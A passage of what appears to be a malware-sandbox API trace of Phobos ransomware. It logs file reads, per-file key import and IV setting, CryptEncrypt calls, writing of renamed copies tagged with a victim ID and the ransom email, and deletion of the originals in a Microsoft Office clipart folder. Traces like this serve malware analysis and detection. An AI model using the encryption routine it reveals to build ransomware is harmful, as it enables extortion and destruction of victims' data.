1 [0058.946] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0058.947] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ceb0) returned 1 [0058.947] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.947] ReadFile (in: hFile=0x304, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xbb7c, lpOverlapped=0x0) returned 1 [0058.956] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xbb80, dwBufLen=0xbb80 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xbb80) returned 1 [0058.956] WriteFile (in: hFile=0x33c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xbb80, lpOverlapped=0x0) returned 1 [0058.958] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cb70) returned 1 [0058.958] CryptSetKeyParam (hKey=0x10cb70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.958] CryptEncrypt (in: hKey=0x10cb70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0058.958] CryptDestroyKey (hKey=0x10cb70) returned 1 [0058.958] WriteFile (in: hFile=0x33c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0058.958] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0058.958] CloseHandle (hObject=0x304) returned 1 [0058.958] CloseHandle (hObject=0x33c) returned 1 [0058.960] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 1 [0058.962] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0058.962] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.968] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=47786) returned 1 [0058.968] CloseHandle (hObject=0x308) returned 1 [0058.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x220 [0058.969] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.969] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.969] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.969] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.969] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0058.970] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cb70) returned 1 [0058.970] CryptSetKeyParam (hKey=0x10cb70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.970] ReadFile (in: hFile=0x308, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xbaaa, lpOverlapped=0x0) returned 1 [0058.978] CryptEncrypt (in: hKey=0x10cb70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xbab0, dwBufLen=0xbab0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xbab0) returned 1 [0058.978] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xbab0, lpOverlapped=0x0) returned 1 [0058.980] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10ceb0) returned 1 [0058.980] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.980] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0058.980] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0058.980] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0058.980] CryptDestroyKey (hKey=0x10cb70) returned 1 [0058.980] CloseHandle (hObject=0x308) returned 1 [0058.980] CloseHandle (hObject=0x318) returned 1 [0058.982] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 1 [0058.984] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0058.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0058.984] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=20554) returned 1 [0058.984] CloseHandle (hObject=0x318) returned 1 [0058.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x220 [0058.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0058.984] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.985] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.985] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.985] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d170) returned 1 [0058.985] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.985] ReadFile (in: hFile=0x318, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x504a, lpOverlapped=0x0) returned 1 [0058.999] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x5050, dwBufLen=0x5050 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x5050) returned 1 [0058.999] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x5050, lpOverlapped=0x0) returned 1 [0059.001] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10caf0) returned 1 [0059.001] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.001] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0059.001] CryptDestroyKey (hKey=0x10caf0) returned 1 [0059.001] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0059.001] CryptDestroyKey (hKey=0x10d170) returned 1 [0059.001] CloseHandle (hObject=0x318) returned 1 [0059.001] CloseHandle (hObject=0x308) returned 1 [0059.002] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 1 [0059.004] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0059.004] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.006] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=20189) returned 1 [0059.006] CloseHandle (hObject=0x318) returned 1 [0059.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 0x220 [0059.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.021] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0059.021] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.021] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.021] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.022] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ce30) returned 1 [0059.022] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.022] ReadFile (in: hFile=0x33c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x4edd, lpOverlapped=0x0) returned 1 [0059.023] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x4ee0, dwBufLen=0x4ee0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x4ee0) returned 1 [0059.023] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x4ee0, lpOverlapped=0x0) returned 1 [0059.025] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d0f0) returned 1 [0059.025] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.025] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0059.025] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0059.025] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0059.025] CryptDestroyKey (hKey=0x10ce30) returned 1 [0059.025] CloseHandle (hObject=0x33c) returned 1 [0059.025] CloseHandle (hObject=0x304) returned 1 [0059.026] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 1 [0059.027] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0059.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.028] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=15733) returned 1 [0059.028] CloseHandle (hObject=0x304) returned 1 [0059.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 0x220 [0059.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.028] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.028] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0059.029] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cf30) returned 1 [0059.029] CryptSetKeyParam (hKey=0x10cf30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.029] ReadFile (in: hFile=0x304, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x3d75, lpOverlapped=0x0) returned 1 [0059.038] CryptEncrypt (in: hKey=0x10cf30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x3d80, dwBufLen=0x3d80 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x3d80) returned 1 [0059.038] WriteFile (in: hFile=0x33c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x3d80, lpOverlapped=0x0) returned 1 [0059.039] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10ce70) returned 1 [0059.039] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.039] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0059.039] CryptDestroyKey (hKey=0x10ce70) returned 1 [0059.039] WriteFile (in: hFile=0x33c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0059.039] CryptDestroyKey (hKey=0x10cf30) returned 1 [0059.039] CloseHandle (hObject=0x304) returned 1 [0059.040] CloseHandle (hObject=0x33c) returned 1 [0059.041] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 1 [0059.042] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0059.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0059.043] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=9710) returned 1 [0059.043] CloseHandle (hObject=0x33c) returned 1 [0059.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x220 [0059.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0059.043] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.043] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.044] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ccf0) returned 1 [0059.044] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.044] ReadFile (in: hFile=0x33c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x25ee, lpOverlapped=0x0) returned 1 [0059.049] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x25f0, dwBufLen=0x25f0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x25f0) returned 1 [0059.049] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x25f0, lpOverlapped=0x0) returned 1 [0059.050] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d170) returned 1 [0059.050] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.050] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0059.050] CryptDestroyKey (hKey=0x10d170) returned 1 [0059.050] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0059.050] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0059.050] CloseHandle (hObject=0x33c) returned 1 [0059.050] CloseHandle (hObject=0x304) returned 1 [0059.051] DeleteFileW 